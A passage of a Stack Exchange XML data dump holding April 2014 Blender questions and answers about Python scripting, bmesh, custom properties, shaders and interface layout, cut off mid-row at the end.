  <row Id="8362" PostTypeId="2" ParentId="8331" CreationDate="2014-04-06T12:30:52.770" Score="4" Body="&lt;p&gt;If you use a wrapped bmesh...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bm = bmesh.from_edit_mesh(me)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... use &lt;code&gt;update_edit_mesh()&lt;/code&gt; to flush changes. Note that Blender will crash otherwise if geometry was added or removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's not a wrapped bmesh...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bm = bmesh.new()&#xA;bm.from_mesh(me)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... write the bmesh back to mesh:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bm.to_mesh(me)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To update a mesh, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;me.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-06T12:30:52.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8363" PostTypeId="2" ParentId="8245" CreationDate="2014-04-06T12:54:50.240" Score="5" Body="&lt;p&gt;&quot;active&quot; is a weak definition, there is the scene camera (can also be &lt;code&gt;None&lt;/code&gt;), but it could also mean the active object and that object being a camera. A special case is operator &lt;em&gt;Set active object as camera&lt;/em&gt;, which makes an arbitrary object the scene camera.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cam_ob = bpy.context.scene.camera&#xA;&#xA;if cam_ob is None:&#xA;    print(&quot;no scene camera&quot;)&#xA;elif cam_ob.type == 'CAMERA':&#xA;    print(&quot;regular scene cam&quot;)&#xA;else:&#xA;    print(&quot;%s object as camera&quot; % cam_ob.type)&#xA;&#xA;ob = bpy.context.object&#xA;if ob is not None and ob.type == 'CAMERA':&#xA;    print(&quot;Active camera object&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-06T12:54:50.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8364" PostTypeId="2" ParentId="8326" CreationDate="2014-04-06T12:57:10.737" Score="3" Body="&lt;p&gt;Only ID types, Bones and PoseBones support properties:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Custom properties can be added to any subclass of an ID, Bone and PoseBone.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.props.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.props.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only type with just a single instance is &lt;code&gt;bpy.types.WindowManager&lt;/code&gt;, but its properties aren't serialized to .blend.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-06T12:57:10.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8365" PostTypeId="1" CreationDate="2014-04-06T16:29:25.593" Score="5" ViewCount="1129" Body="&lt;p&gt;I am making an animation where the character is shimming across a ledge, and the ledge starts to crumble.  I would have to delete faces of the ledge to make them crumble.  How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="3046" LastEditorUserId="1112" LastEditDate="2014-04-06T20:55:45.560" LastActivityDate="2020-10-21T14:55:36.513" Title="How can I animate the visibility of a face?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8366" PostTypeId="2" ParentId="8365" CreationDate="2014-04-06T18:43:08.843" Score="7" Body="&lt;p&gt;You could use a &lt;em&gt;Mask modifier&lt;/em&gt; if you really want to delete certain faces on a certain frame, however I'm not sure this is really what you want to do.&lt;/p&gt;&#xA;&lt;h1&gt;Mask modifier:&lt;/h1&gt;&#xA;&lt;p&gt;If you really want to delete a specific face (or faces) on a certain frame, then you can use the &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/modeling/modifiers/generate/mask.html#mask-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Mask modifier&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the faces you want to hide and assign them to a vertex group in &lt;em&gt;Properties &amp;gt; Object data &amp;gt; Vertex groups&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a mask modifier and select your vertex group and enable &lt;em&gt;Invert&lt;/em&gt; by clicking the button next to the vertex group selector:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xBggu.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Keyframe the visibility of the modifier by hovering over the eye icon and pressing &lt;kbd&gt;I&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If you want more variation, try using a reversed &lt;em&gt;Build modifier&lt;/em&gt;. This will delete all faces in the object over time, either randomly or in order.&lt;/p&gt;&#xA;&lt;h1&gt;Fracturing:&lt;/h1&gt;&#xA;&lt;p&gt;If you are trying to make a more complex/realistic&#xA;You might also want to try the Cell fracture addon (&lt;a href=&quot;https://blender.stackexchange.com/q/6686/599&quot;&gt;see this post&lt;/a&gt;):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/HarmfulPossibleIntermediateegret#?speed=2&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://giant.gfycat.com/HarmfulPossibleIntermediateegret.gif&quot; alt=&quot;Example gif&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Or the &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/modeling/modifiers/physics/explode.html#explode-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;explode modifier&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-21T14:55:36.513" LastActivityDate="2020-10-21T14:55:36.513" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="8367" PostTypeId="1" CreationDate="2014-04-06T22:06:24.970" Score="9" ViewCount="5971" Body="&lt;p&gt;I was going through the &quot;Getting started&quot; API documentation for 2.68 since I'm guessing 2.70 is similar. I was testing out how to create my first script in 2.70 which I would like to save values which I will need later for future computations. I am using the Blender Panel UI for the user to modify the properties. Here is the basic code I'm stuck at from the HellowWorldPanel class. I was wondering why my property field isn't showing up in the Panel.&#xA;(Edit: I'm sorry just to clarify this, the panel is showing up with my &quot;Hello world!&quot; label but my property called &quot;bl_mine1&quot; isn't showing up in the newly created panel)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I am testing it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;&#xA;class HelloWorldPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Object properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;Hello World Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;object&quot;&#xA;    bl_mine1 = bpy.props.FloatProperty(name = &quot;MyProperty&quot;)&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        obj = context.object&#xA;        #Create New Row with text Hello World&#xA;        row = layout.row()&#xA;        row.label(text=&quot;Hello world!&quot;, icon='WORLD_DATA')&#xA;        #Try showing a field box with MYProperty in it&#xA;        row = layout.row()&#xA;        row.prop(obj, &quot;bl_mine1&quot;)&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(HelloWorldPanel)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(HelloWorldPanel)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for any input.&lt;/p&gt;&#xA;" OwnerUserId="3048" LastActivityDate="2014-04-07T08:45:57.610" Title="Creating a custom permanent property in Blender 2.70 python script to access in GUI Panel" Tags="&lt;scripting&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8368" PostTypeId="1" CreationDate="2014-04-06T22:36:20.587" Score="4" ViewCount="192" Body="&lt;p&gt;I don't have anything against Python and think it is an awesome language. But I, personally, am used to be much more productive with functional languages in general. Thinks like &lt;code&gt;map&lt;/code&gt;, &lt;code&gt;fold&lt;/code&gt; and first class lambdas help me a lot when programming. Python's support for FP, while acceptable, is far from ideal. With this, I ask: is there any way to use another language for blender scripting? Something with a Haskell-like syntax would be great, but even JavaScript/CoffeeScript/Etc would help me a lot already.&lt;/p&gt;&#xA;" OwnerUserId="2873" LastActivityDate="2014-04-07T13:10:30.510" Title="Is there a way to use another languages for scripting on blender?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;customization&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-04-07T21:52:46.793" ContentLicense="CC BY-SA 3.0" />
  <row Id="8369" PostTypeId="1" AcceptedAnswerId="24617" CreationDate="2014-04-06T23:09:51.537" Score="4" ViewCount="1320" Body="&lt;p&gt;Is there a node (or group of nodes) that outputs a measure of local mesh curvature?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the input Fresnel node almost gives me the effect I'm looking for, but the node setup I'm looking for would be unaffected by viewing angle.&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2015-02-11T20:16:27.830" Title="Node for local mesh curvature" Tags="&lt;nodes&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8372" PostTypeId="1" AcceptedAnswerId="8373" CreationDate="2014-04-07T05:17:29.053" Score="2" ViewCount="346" Body="&lt;p&gt;Suppose I have 2 windows under the following layout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; _____&#xA;|_____|&#xA;|_____|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I create a right window so that it becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_________&#xA;|_____| |&#xA;|_____|_|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Without disturbing the open ones?&lt;/p&gt;&#xA;" OwnerUserId="2873" LastActivityDate="2014-04-07T05:37:05.063" Title="How do I create a right column when I have a 2-rows layout?" Tags="&lt;interface&gt;&lt;workflow&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8373" PostTypeId="2" ParentId="8372" CreationDate="2014-04-07T05:37:05.063" Score="3" Body="&lt;p&gt;Split the two editors separately, but make sure the splits align vertically:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dd2Kr.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that once the vertical splits are aligned, &lt;a href=&quot;https://blender.stackexchange.com/q/5637/599&quot;&gt;they become locked&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually wrote a &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Proposals/UI/Area_Splitting&quot; rel=&quot;nofollow noreferrer&quot;&gt;feature request&lt;/a&gt; on the wiki a while ago asking to improve this behavior.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-04-07T05:37:05.063" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8375" PostTypeId="1" CreationDate="2014-04-07T06:31:38.290" Score="4" ViewCount="4878" Body="&lt;p&gt;Inside a Python script defining a GLSL shader used on the game engine, how do I access the width/height of the game window?&lt;/p&gt;&#xA;" OwnerUserId="2873" LastActivityDate="2014-04-07T10:26:54.083" Title="How to access the window width/height inside a GLSL Shader?" Tags="&lt;game-engine&gt;&lt;shaders&gt;&lt;opengl&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8376" PostTypeId="1" AcceptedAnswerId="8377" CreationDate="2014-04-07T06:38:41.610" Score="6" ViewCount="434" Body="&lt;p&gt;Suppose you have 4 windows in 2 rows. The first row has one window and the bottom row has 3. Is it possible to remove the top window?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/R02py.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/R02py.png&quot; alt=&quot;illustration&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;" OwnerUserId="2873" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-02-27T13:43:15.800" Title="Is it possible to remove a window that is lying on top of 3 other windows in a row?" Tags="&lt;interface&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="8377" PostTypeId="2" ParentId="8376" CreationDate="2014-04-07T06:57:21.787" Score="6" Body="&lt;p&gt;I can't find any particularly good and fast way around this, this is the best I could come up with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vuBmT.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-07T06:57:21.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8378" PostTypeId="2" ParentId="8367" CreationDate="2014-04-07T08:17:10.613" Score="10" Body="&lt;p&gt;Since your example panel is in the object context I assume you want to use the data on objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to store and retrieve properties on a per object basis you can append a property to objects like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Object.obj_property = bpy.props.FloatProperty(name = &quot;ObjectProperty&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and access the value in the UI like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;row.prop(context.object, &quot;obj_property&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if you need your property for all objects in a scene you could store it inside the scene like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Scene.scn_property = bpy.props.FloatProperty(name = &quot;SceneProperty&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and access the value in the UI like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;row.prop(context.scene, &quot;scn_property&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To access the property values in your script you can also use the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_0/bpy.data.html&quot;&gt;bpy.data&lt;/a&gt; module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_0/bpy.types.Operator.html?highlight=operator#bpy.types.Operator&quot;&gt;operators&lt;/a&gt; and &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_0/bpy.types.Panel.html?highlight=panel#bpy.types.Panel&quot;&gt;panels&lt;/a&gt; are conceptually different. Panels are &lt;strong&gt;not&lt;/strong&gt; supposed to store properties or change them on their own. They are just for user access to internal data and properties. Operators on the other hand have builtin access to properties and are better suited to manipulate data. Note also that properties are automatically stored in the .blend file while saving. If you want to share data between scenes you could use other ID blocks like &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_0/bpy.types.Text.html&quot;&gt;Text&lt;/a&gt; or use a simple operator to copy data between scenes e.g. like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class UIPanel(bpy.types.Panel):&#xA;  bl_label = &quot;My Panel&quot;&#xA;  bl_space_type = &quot;PROPERTIES&quot;&#xA;  bl_region_type = &quot;WINDOW&quot;&#xA;  bl_context = &quot;object&quot;&#xA;  bpy.types.Scene.scn_property = bpy.props.FloatProperty(name = &quot;SceneProperty&quot;)&#xA;&#xA;  def draw(self, context):&#xA;    self.layout.operator(&quot;prop.propcopy&quot;, text='Update Scenes')&#xA;    self.layout.prop(context.scene,&quot;scn_property&quot;)&#xA;&#xA;class OBJECT_OT_PropCopyButton(bpy.types.Operator):&#xA;  bl_idname = &quot;prop.propcopy&quot;&#xA;  bl_label = &quot;Propcopy&quot;&#xA;&#xA;  def execute(self, context):&#xA;    sc0 = context.scene&#xA;    for sc in bpy.data.scenes:&#xA;        sc.scn_property = sc0.scn_property&#xA;    return{'FINISHED'}&#xA;&#xA;bpy.utils.register_module(__name__)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="2859" LastEditDate="2014-04-07T08:45:57.610" LastActivityDate="2014-04-07T08:45:57.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8379" PostTypeId="1" CreationDate="2014-04-07T08:38:17.963" Score="5" ViewCount="2041" Body="&lt;p&gt;I'm working with two monitors in Blender 2.70 on Mac OS 10.9.2. Now when I add a second window by Shift Leftclick on a split area, only one of this windows is active and expects direct input. This is a big problem, since anytime I want do do something in the not active window, I have to click once in the window to make it active before I can start editing something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• Is this OS specific? I tried to deactivate all of apples new multi monitor enhancements, but the problem still exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• Is there a user setting I missed? None of the tutorials I found on the web so far mentioned this problem nor how to solve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The best solution I found so far for Mac OS is a tool called &quot;Zooom/2&quot; which allows, amongst other things, to automatically focus on the window under your mouse cursor after a given time. The default is 0.25 seconds. This seems to work, but I'm not sure how I like it on a daily basis. I'll evaluate for a while. I found this in an other thread called: &quot;How to focus on different windows across multi-monitors to hit a hotkey?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this should be something that could be handled by Blender itself. It works just fine with Cinema 4d. There's an option that allows you to define a second window as a &quot;Main Window&quot; as well. After doing that you can click and edit anything in that second window without first activating it.&lt;/p&gt;&#xA;" OwnerUserId="3052" LastEditorUserId="3052" LastEditDate="2014-04-07T11:28:44.043" LastActivityDate="2014-09-19T21:10:27.667" Title="Can two windows be active at the same time?" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ClosedDate="2014-10-11T20:14:00.537" ContentLicense="CC BY-SA 3.0" />
  <row Id="8380" PostTypeId="2" ParentId="8375" CreationDate="2014-04-07T10:00:22.850" Score="2" Body="&lt;p&gt;It depends if the shader is set as an actuator &quot;Filter 2D&quot; or not. Then you can use the predefined uniform floats bgl_RenderedTextureWidth and bgl_RenderedTextureHeight. If it is just an arbitrary shader you would need to pass the values yourself as uniforms e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// glsl&#xA;uniform float ww;&#xA;uniform float wh;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And pass the values via the python api like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# python&#xA;shader.setUniform1f(&quot;ww&quot;, float(bge.render.getWindowWidth()))&#xA;shader.setUniform1f(&quot;wh&quot;, float(bge.render.getWindowHeight()))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To set up the shaders you usually use code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cont = bge.logic.getCurrentController()&#xA;own = cont.owner&#xA;&#xA;vs = &quot;&quot;&quot; &#xA;// vertex shader code here&#xA;&quot;&quot;&quot;&#xA;&#xA;fs = &quot;&quot;&quot; &#xA;// fragment shader code here&#xA;&quot;&quot;&quot;&#xA;&#xA;mesh = own.meshes[0]&#xA;for mat in mesh.materials:&#xA;  shader = mat.getShader()&#xA;  if shader != None:&#xA;    if not shader.isValid():&#xA;        shader.setSource(vs, fs, True)&#xA;    shader.setUniform...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="2859" LastEditDate="2014-04-07T10:26:54.083" LastActivityDate="2014-04-07T10:26:54.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8381" PostTypeId="1" CreationDate="2014-04-07T10:25:44.490" Score="1" ViewCount="605" Body="&lt;p&gt;I've been working on a Python script that does some 3D processing on some data I have, without actually rendering anything (I want to take advantage of the &lt;code&gt;rayCast&lt;/code&gt; and &lt;code&gt;pointInsideFrustum&lt;/code&gt; mechanics, which is hard to find decoupled from a full-fledged graphics library). Basically what I'm doing is moving around cameras, projecting a ray from the camera, raycasting with some model, and testing what other camera poses' frustums contain that point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, the issue I'm having is that when I try to move a camera in my script (done using both the &lt;code&gt;bge&lt;/code&gt; &lt;code&gt;KX_GameObject&lt;/code&gt; and &lt;code&gt;bpy&lt;/code&gt; &lt;code&gt;Object&lt;/code&gt;, for good measure; I also tried using &lt;code&gt;applyMovement&lt;/code&gt; and &lt;code&gt;applyRotation&lt;/code&gt; with limited success). While the position seems to be updated, it seems like it doesn't register. Namely, I perform a check to make sure that the camera can see the point that is returned from raycasting via &lt;code&gt;pointInsideFrustum&lt;/code&gt;. However, it doesn't detect anything. I delay the script being run until after the first tick, so that the projection matrix can be initialized. Indeed, after checking, the projection matrix is in fact initialized, so that's not the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the logic in the code works correctly, since, after restarting the code in game engine mode, it works fine. However, after moving the camera (in the code) to a position far enough away, it fails again. This leads me to believe that the camera isn't actually moving, or that it isn't properly registering. I suspect this might have to do with logic ticks in the Python script. From some other posts elsewhere that I've read, I suspect that Python scripts only are run in a single logic tick, though I'm not certain. If this is the case though, is there a way to make it run over multiple logic ticks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's important that this script be constantly running. As bad as it might sound, I have a web server running inside of this script, for the purpose of being able to do some processing via API requests.&lt;/p&gt;&#xA;" OwnerUserId="2468" LastActivityDate="2014-04-07T10:25:44.490" Title="Moving and using cameras in the same Python script (potentially over multiple logic ticks)" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;camera&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8382" PostTypeId="1" CreationDate="2014-04-07T13:47:16.557" Score="2" ViewCount="499" Body="&lt;p&gt;I'm using customised shader to achieve a specific aspect. I'm confused by the fact it is dealt with by the game engine, not the rendering engine (??), but my actual question is: how do I do multi-pass rendering? I need to access the depth, color and normal buffer from previous passes to do a toon-outline effect. I couldn't find how to invoke the shader directly on the involved Python script.&lt;/p&gt;&#xA;" OwnerUserId="2873" LastActivityDate="2014-04-07T13:47:16.557" Title="How to do multi-pass rendering on customised shaders?" Tags="&lt;python&gt;&lt;rendering&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;shaders&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-10-03T23:34:00.987" ContentLicense="CC BY-SA 3.0" />
  <row Id="8384" PostTypeId="1" CreationDate="2014-04-07T18:28:47.753" Score="32" ViewCount="79045" Body="&lt;p&gt;I accidentally opened too many menus (or windows) and I want to reset them to default.  It is really annoying, and effecting my animation.  Thanks&lt;/p&gt;&#xA;" OwnerUserId="3046" LastEditorUserId="2173" LastEditDate="2016-04-27T23:17:39.267" LastActivityDate="2018-03-01T17:25:37.960" Title="How can I reset my menus?" Tags="&lt;interface&gt;&lt;customization&gt;" AnswerCount="6" CommentCount="2" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="8386" PostTypeId="2" ParentId="8384" CreationDate="2014-04-07T19:13:30.937" Score="3" Body="&lt;p&gt;You can restore the factory defaults by clicking: &lt;em&gt;File &gt; Load Factory Settings&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then set it as the default press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="1363" LastEditDate="2014-04-07T21:45:35.693" LastActivityDate="2014-04-07T21:45:35.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8387" PostTypeId="1" AcceptedAnswerId="8392" CreationDate="2014-04-07T20:21:05.280" Score="17" ViewCount="14692" Body="&lt;p&gt;I am looking for help on how to export armatures and their animations in a custom export script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish to have an animation format similar to BVH, i.e. a bunch of &lt;code&gt;[Xposition Yposition Zposition] Xrotation Yrotation Zrotation&lt;/code&gt; for each bone for each keyframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the model (which exports fine using the bvh exporter), how does one get the keyframe data?  A long time searching the object tree of &lt;code&gt;bpy&lt;/code&gt; has left me somewhat baffled.&lt;/p&gt;&#xA;" OwnerUserId="3060" LastEditorUserId="599" LastEditDate="2014-04-07T20:31:30.790" LastActivityDate="2019-12-13T12:37:13.057" Title="How to get keyframe data from python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;animation&gt;&lt;export&gt;&lt;armature&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="8388" PostTypeId="1" AcceptedAnswerId="8389" CreationDate="2014-04-07T20:25:45.333" Score="2" ViewCount="2026" Body="&lt;p&gt;I have a model with Japanese characters in the names of objects throughout the model. I've found this script which translates those names into english:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/toruta39/blender-datablock-translator&quot; rel=&quot;nofollow&quot;&gt;https://github.com/toruta39/blender-datablock-translator&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works well, however, it does not translate the names of shape keys. I'm attempting to modify the script to include shape keys but have not been successful. I believe shape keys data are stored in bpy.data.shape_keys. How do I loop through shape keys and modify each name?&lt;/p&gt;&#xA;" OwnerUserId="3059" LastActivityDate="2014-04-07T20:43:33.687" Title="Python: how to iterate through and rename shape keys?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;&lt;shape-keys&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8389" PostTypeId="2" ParentId="8388" CreationDate="2014-04-07T20:35:06.983" Score="4" Body="&lt;p&gt;What about this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for shapekey in bpy.data.shape_keys:&#xA;    # rename / translate shape key names by changing shapekey.name&#xA;    for keyblock in shapekey.key_blocks:&#xA;        # rename / translate block key names by changing keyblock.name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-04-07T20:43:33.687" LastActivityDate="2014-04-07T20:43:33.687" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8390" PostTypeId="1" CreationDate="2014-04-07T21:32:24.510" Score="7" ViewCount="2245" Body="&lt;p&gt;I'm making my own Python routines that distort space. I would like to visualise the effect of this distortion. To this end I want to create {x,y,z} aligned gridlines, so that I can observe the effect of the transformation on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So an x-aligned gridline would be say 1000 points between x=-50 and x=+50 with y=z=0, and the points would be joined to one another by line segments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I create such a gridline using Python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found resources such as: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Three_ways_to_create_objects&quot; rel=&quot;nofollow noreferrer&quot;&gt;Scripts/Cookbook/Code_snippets/Three_ways_to_create_objects&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://askubuntu.com/questions/325485/how-to-make-a-mesh-by-using-python-script-on-blender&quot;&gt;askubuntu.com/..../how-to-make-a-mesh-by-using-python-script-on-blender&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/3657120/how-to-create-a-simple-mesh-in-blender-2-50-via-the-python-api&quot;&gt;stackoverflow.com/.../how-to-create-a-simple-mesh-in-blender&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;but in each case it creates primitives from verts+faces, not verts+edges&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="-1" 